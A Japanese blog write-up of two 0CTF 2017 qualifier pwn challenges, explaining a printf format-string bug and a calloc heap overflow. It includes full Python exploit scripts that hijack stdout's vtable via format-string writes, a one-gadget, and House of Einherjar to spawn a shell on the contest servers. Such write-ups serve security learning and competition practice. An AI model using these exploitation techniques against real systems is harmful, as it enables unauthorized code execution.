0CTF 2017 Quals Writeup (EasiestPrintf & Baby Heap 2017)
3ヶ月ぶりの投稿になります.
今回は0CTFのQualsに参加したわけですが,結果は振るわず今年は本戦への参加は難しそうですね.
私自身,EasiestPrintfとBaby Heap 2017の2問しか解けなかったわけで,なんかもうダメ感
charはチームメイトが既に解いていたので,そちらを参考にしてください↓
0CTF 2017 Quals char writeup - ブログ未満のなにか
EasiestPrintf
下調べ
yutaro@ubuntu ~/CTF/0CTF % file EasiestPrintf EasiestPrintf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=61cd88e3d189854473fddf7c0ace6450986e4b02, not stripped yutaro@ubuntu ~/CTF/0CTF % checksec.sh --file EasiestPrintf RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH EasiestPrintf
プログラム動作解析
初めに読みたいメモリのアドレスを与えると,そこに格納されている値が読み取れる.
その後,終了処理時に呼ばれるleave関数内で単純なFSBが存在している.
yutaro@ubuntu ~/CTF/0CTF % ./EasiestPrintf Which address you wanna read: 134520812 0xf75db540 Good Bye aaaa %x %x %x %x %x %x %x %x %x %x aaaa ffd6d9ee 1 f762d12d f7775d60 80489c0 22 61616161 20782520 25207825 78252078
入力を与えるとそれがそのままprintfに渡されることが分かる.
方針
初心者向けのWarmup問題かと思いきや,Full RELROなのでGOT Overwriteはできない.
printfでFSBを踏んだ直後は_exitが呼ばれるだけなので,この間にどうにかしてやらないといけなさそう.
初めにチームメイトが考えたのは,_exit内で参照している__kernel_vsyscallへのポインタを任意の関数に書き換えてやるというもの.
__kernel_vsyscallはvdso内に存在しており,libcとかがシステムコールを発行するときに経由するところ.
(自身で発行を行っている関数もあるが)
00000be0 <__kernel_vsyscall@@LINUX_2.5>: be0: 51 push ecx be1: 52 push edx be2: 55 push ebp be3: 89 e5 mov ebp,esp be5: 0f 34 sysenter be7: cd 80 int 0x80 be9: 5d pop ebp bea: 5a pop edx beb: 59 pop ecx bec: c3 ret
しかしこれをやってしまうと,__kernel_vsyscallを経由してシステムコール発行をしているあらゆる関数が正しく動かなくなってしまうので,この方法は却下.
execveとかsystem関数自体が正しく動かないのであれば元も子もないのでね...
そこで,次はstdoutのIO_file_plus構造体が持っているIO_jumpへのポインタを書き換えることを考える.
FSBを使って書き換えが行われた後,実際に画面に出力を行う際にIO_jumpのvtablesは参照されるので,このタイミングを狙って任意の命令に飛ばすことにする.
はじめはvtablesのxsputnをsystem関数に向けてやって,第一引数の部分に'/bin/sh'を置いたがなぜか動かない・・・
なんか面倒になってしまったので,libc内のOne-gadget-RCEを利用することにした.
0x64c75 execl("/bin/sh", [esp+0x4]) constraints: ebx is the address of `rw-p` area of libc [esp+0x4] == NULL
しかしながら,レジスタとスタックの状態があまりよろしくなく,一発でOne-gadget-RCEが使えない.
そこで,一旦main関数に飛ばしてから,setvbuf内で参照されるvtablesのsetbufをOne-gadget-RCEに向けてやることで解決
さて,方針は立ったわけだが,IO_jumpをどこに置くのかという問題が出てくる.
FSBを使って一気に4byte書き換えができるのならよいのだが,それだと長い時間がかかってしまう.
やはり通常通り2byteずつの書き換えを行おうと思うが,そうすると半分書き換えた時点でIO_jumpを参照しようとしてsegmentation faultを起こして死ぬ.
ふとメモリマップを見てみると,本来のIO_jumpが配置されているページと上位2byteが同じで書き込みが可能なページが存在することに気が付く.
0xf7fb6000 0xf7fb8000 r--p /lib/i386-linux-gnu/libc-2.23.so 0xf7fb8000 0xf7fb9000 rw-p /lib/i386-linux-gnu/libc-2.23.so 0xf7fb9000 0xf7fbc000 rw-p mapped
あとはやるだけ
Exploit
#!/usr/bin/env python # https://github.com/shift-crops/sc_pwn/blob/master/sc_pwn.py from sc_pwn import * env = Environment('local', 'remote') env.set_item('mode', local = 'SOCKET', remote = 'SOCKET') env.set_item('target', local = {'host':'192.168.92.129','port':8080}, \ remote = {'host':'202.120.7.210','port':12321}) env.select() libc = ELF('libc.so.6_0ed9bad239c74870ed2db31c735132ce') binf = ELF('EasiestPrintf') addr_got_main = binf.got('__libc_start_main') addr_main = binf.function('main') #========== def attack(cmn): sleep(3) cmn.read_until('read:\n') cmn.sendln(str(addr_got_main)) addr_libc_main = int(cmn.read_until(),16) libc.set_location('__libc_start_main', addr_libc_main) addr_libc_rce = libc.base + 0x64c75 addr_vtables = libc.base + 0x1aa000 fsb = FSB() fsb.set_adrval(addr_vtables+0x1c, addr_main+0x30) # xsputn (printf) fsb.set_adrval(addr_vtables+0x2c, addr_libc_rce) # setbuf (setvbuf) fsb.auto_write(index=7) exploit = fsb.get() exploit += fsb.write(5,addr_vtables&0xffff) cmn.read_until('Good Bye\n') cmn.sendln(exploit) cmn.read_all() #========== if __name__=='__main__': cmn = Communicate(env.target, env.mode) attack(cmn) sh = Shell(cmn) sh.select() del(sh) #Interact(cmn).worker(False) del(cmn) #==========
Baby Heap 2017
その Baby うんたらっていうネーミングをやめろ
下調べ
yutaro@ubuntu ~/CTF/0CTF % file babyheap_69a42acd160ab67a68047ca3f9c390b9 babyheap_69a42acd160ab67a68047ca3f9c390b9: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped yutaro@ubuntu ~/CTF/0CTF % checksec.sh --file babyheap_69a42acd160ab67a68047ca3f9c390b9 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH babyheap_69a42acd160ab67a68047ca3f9c390b9
プログラム動作解析
それぞれのメニューをざっと説明
Allocate
メモリを指定したサイズだけcallocで確保Fill
指定したインデックスのメモリに任意のサイズのデータを送り込める
思いっきりヒープオーバフローが起こせるFree
指定したインデックスのヒープを開放Dump
指定したインデックスのメモリから読み出し
ただし,読み出せるサイズはAllocate時に指定したサイズのみ
===== Baby Heap in 2017 ===== 1. Allocate 2. Fill 3. Free 4. Dump 5. Exit Command: 1 Size: 10 Allocate Index 0 1. Allocate 2. Fill 3. Free 4. Dump 5. Exit Command: 2 Index: 0 Size: 20 Content: aaaaaaaaaaaaaaaaaaaa
方針
今回,コンテンツを管理している構造体はランダマイズされたアドレスに確保されているため,ここをどうにかする問題ではないと予想がつく.
まず考えることはlibcとheapのアドレスリークである.
これはいたって簡単で,あるチャンク内に別の偽チャンクを生成してやるか,もしくは正しいチャンクを偽の大きなチャンクで覆ってやればよい.
その後に,含まれている方のチャンクをfreeしてごにょれば,freedチャンクのリストとしてlibc内のmain_arena付近のアドレスと,別の解放されたチャンクのアドレスが取得できる.
今回は後者の方法をとる.
サイズを大きく偽装したチャンクを一旦freeしてから再度そのサイズで確保しなおせば,偽の大きなチャンクが隣接したチャンクのヘッダ部分を覆うことになる.
ただし,同じ位置に確保されなければ意味がないため,0x60程度のfastbinsであることが望ましい.
アドレスがリークできたら,次はどこか適当なアドレスの書き換えを目指す.
再びFull RELROなのでGOT Overwriteはできない.
しかしながら,freeがあるので__free_hookを狙ってもよいし,先ほどの問題と同様stdoutのIO_file_plus構造体を書き換えてやってもよさそうである.
今回のallocateではcallocを使っているため,House of Force は使えない.(途中を全部0埋めする上,存在しないページにアクセスしようとして死ぬ)
折角なのでチームメイトのなんちゃら氏が考案した House of Einherjar (はうすおぶじゃー)を使ってみることにしよう.
この方法を使用するにあたり,prev_sizeを減じたところには通常のfreedチャンクと同様にリスト構造がなくてはならない.
私がよくやる方法ではあるのだが,main_arenaにはそれっぽいアドレスがいっぱい転がっているので,その終端部分をねらってやることにする.
首尾よくじゃーを発動したのちは,次のcallocでmain_arenaの終端部分が返る.
0x7ffff7dd2350 <main_arena+2096>: 0x00007ffff7dd2338 0x00007ffff7dd2348 0x7ffff7dd2360 <main_arena+2112>: 0x00007ffff7dd2348 0x00007ffff7dd2358 0x7ffff7dd2370 <main_arena+2128>: 0x00007ffff7dd2358 0x0000000000000000 0x7ffff7dd2380 <main_arena+2144>: 0x0000000000000000 0x00007ffff7dd1b20 0x7ffff7dd2390 <main_arena+2160>: 0x0000000000000000 0x0000000000000001
これが
0x7ffff7dd2350 <main_arena+2096>: 0x00007ffff7dd2338 0x00007ffff7dd2348 0x7ffff7dd2360 <main_arena+2112>: 0xffffd5555d9a5ca9 0x00007ffff7dd2358 0x7ffff7dd2370 <main_arena+2128>: 0x00007ffff7dd2358 0x0000000000000000 0x7ffff7dd2380 <main_arena+2144>: 0x0000000000000000 0x00007ffff7dd1b20 0x7ffff7dd2390 <main_arena+2160>: 0x0000000000000000 0x0000000000000001
こうなって,callocで返るのは0x7ffff7dd2368である.
普通のmallocを使っているのであれば,ここで__free_hook直前まで確保してから次のmallocで__free_hookの確保が行えるが,今回はそうはいかない.
先述の通り,callocを使っているため,そんなことをしたら重要なポインタ等々全部吹き飛ばしてしまう.
そこで,小さいサイズだけ確保して被害を最小限にしながらも,何かしら良いものが上書きできないものかと考える.
すると,main_arenaからやや上位に行ったところにstdoutのIO_file_plus構造体が目に入る.
幸いにしてこの間のポインタたちは吹き飛ばしても動くことが確認できたので,stdoutのIO_jumpを偽装することにした.
0x7ffff7dd2350 <main_arena+2096>: 0x00007ffff7dd2338 0x00007ffff7dd2348 0x7ffff7dd2360 <main_arena+2112>: 0x0000000000000091 0x0000000000000000 0x7ffff7dd2370 <main_arena+2128>: 0x0000000000000000 0x0000000000000000 中略 0x7ffff7dd2600 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2610 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007ffff7dd06e0 0x7ffff7dd2620 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007ffff7dd26a3 0x7ffff7dd2630 <_IO_2_1_stdout_+16>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3 0x7ffff7dd2640 <_IO_2_1_stdout_+32>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
今回は,書き換えの後にはじめに呼ばれるIO_jumpはwriteであったため,これをsystemに向くようにしてやる.
IO_jump自体は既知のアドレスであるヒープにでも配置しておけばよさそうである.
Exploit
#!/usr/bin/env python # https://github.com/shift-crops/sc_pwn/blob/master/sc_pwn.py from sc_pwn import * env = Environment('local', 'remote') env.set_item('mode', local = 'SOCKET', remote = 'SOCKET') env.set_item('target', local = {'host':'192.168.92.129','port':8080}, \ remote = {'host':'202.120.7.218','port':2017}) env.set_item('libc', local = 'D:\\CTF\\files\\libc-2.23.so_amd64_local', \ remote = 'libc.so.6_b86ec517ee44b2d6c03096e0518c72a1') env.set_item('offset_libc_main_arena', local = 0x3c3b20, remote = 0x3a5620) env.select() libc = ELF(env.libc) str_sh = '/bin/sh' #========== def attack(cmn): bh = BabyHeap(cmn) bh.allocate(0x20) # index 0 bh.allocate(0x20) # index 1 bh.allocate(0x80) # index 2 bh.allocate(0x20) # index 3 bh.allocate(0x80) # index 4 bh.allocate(0x20) # index 5 exploit = '\x00'*0x28 exploit += pack_64(0x60 | PREV_INUSE) # index 1's chunk header : size exploit += '\x00'*0x58 exploit += pack_64(0x60 | PREV_INUSE) # fake chunk in index 2 bh.fill(0, exploit) bh.free(1) bh.allocate(0x50) # index 1 exploit = '\x00'*0x28 exploit += pack_64(0x90 | PREV_INUSE) # correct index 2's chunk header(in index 1's chunk) bh.fill(1, exploit) bh.free(2) bh.free(4) # index 1 contain freed index 2's chunk header leak_data = bh.dump(1) libc.base = unpack_64(leak_data[0x30:0x38]) - (env.offset_libc_main_arena+0x58) info('addr_libc_base = 0x%08x' % libc.base) addr_libc_main_arena = libc.base + env.offset_libc_main_arena addr_libc_system = libc.function('system') addr_libc_stdout = libc.symbol('_IO_2_1_stdout_') addr_libc_stdfile_lock = addr_libc_stdout + 0x1160 # _IO_stdfile_1_lock addr_heap_base = unpack_64(leak_data[0x38:0x40]) - 0x120 info('addr_heap_base = 0x%08x' % addr_heap_base) bh.allocate(0x80) # index 2 bh.allocate(0x80) # index 4 exploit = '\x00'*0x20 exploit += pack_64((addr_heap_base+0x120)-(addr_libc_main_arena+0x838)) # index 4's chunk header : prev_size exploit += pack_64(0xc0 & ~PREV_INUSE) # : size bh.fill(3, exploit) vtables = '\x00'*0x38 vtables += pack_64(addr_libc_system) # write addr_vtables = addr_heap_base + 0x130 bh.fill(4, vtables) # House of Einherjar bh.free(4) bh.allocate(0x80) # index 4 (allocate at addr_libc_main_arena+0x838) fake_stdout = str_sh fake_stdout += '\x00'*(0x88-len(fake_stdout)) fake_stdout += pack_64(addr_libc_stdfile_lock) fake_stdout += '\x00'*0x48 fake_stdout += pack_64(addr_vtables) bh.fill(4, '\x00'*(addr_libc_stdout-(addr_libc_main_arena+0x838)-0x10)+fake_stdout) class BabyHeap: def __init__(self, cmn): self.read_until = cmn.read_until self.read_all = cmn.read_all self.sendln = cmn.sendln self.send = cmn.send def allocate(self, size): self.read_until('Command: ') self.sendln('1') self.read_until('Size: ') self.sendln(str(size)) self.read_until('Index ') return int(self.read_until()) def fill(self, index, content): self.read_until('Command: ') self.sendln('2') self.read_until('Index: ') self.sendln(str(index)) self.read_until('Size: ') self.sendln(str(len(content))) self.read_until('Content: ') self.send(content) def free(self, index): self.read_until('Command: ') self.sendln('3') self.read_until('Index: ') self.sendln(str(index)) def dump(self, index): self.read_until('Command: ') self.sendln('4') self.read_until('Index: ') self.sendln(str(index)) self.read_until('Content: \n') return self.read_until('1. Allocate', contain=False) #========== if __name__=='__main__': cmn = Communicate(env.target, env.mode) attack(cmn) sh = Shell(cmn) sh.select() del(sh) #Interact(cmn).worker(False) del(cmn) #==========